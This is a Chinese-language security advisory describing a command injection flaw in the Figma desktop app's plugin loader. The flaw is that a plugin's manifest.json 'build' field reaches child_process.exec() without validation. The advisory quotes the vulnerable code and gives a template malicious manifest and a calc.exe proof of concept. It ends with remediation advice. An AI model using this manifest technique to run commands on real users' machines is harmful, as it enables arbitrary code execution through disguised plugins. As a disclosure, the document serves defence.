Figma桌面应用程序（v125.6.5）在插件加载器中存在命令注入漏洞。
恶意插件清单（manifest.json）可以滥用build字段，该字段未经验证直接传递给child_process.exec()。
这导致插件加载后立即执行任意OS命令，没有安全警告或提示。
漏洞源于main.js中的代码，它导入了Node.js内置的child_process模块：
Zlt = require("child_process")
稍后，如果插件的manifest.json文件中存在build字段且其值为字符串，应用程序将使用child_process.exec()直接执行该值，没有任何清理或验证：
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
因此，恶意插件中包含的以下manifest.json文件会导致build字段的值作为OS命令执行：
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
此执行流程嵌入在Figma的插件处理逻辑中，并且main.js中包含require("child_process")调用确认命令执行直接构建在应用程序的核心逻辑中。
通过运行包含以下恶意manifest.json的插件：
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
一旦此插件在Figma中注册并执行，指定的OS命令（calc.exe）将立即运行。
https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7
尽管build字段的执行是Figma桌面应用程序官方支持的功能，但应用程序应尽可能避免依赖manifest.json中的用户控制字段（如build）。
如果必须支持此类字段，则必须进行严格的输入验证以防止命令注入。
此外，应避免使用Node.js的child_process.exec()，而应采用更安全的替代方案，明确处理参数。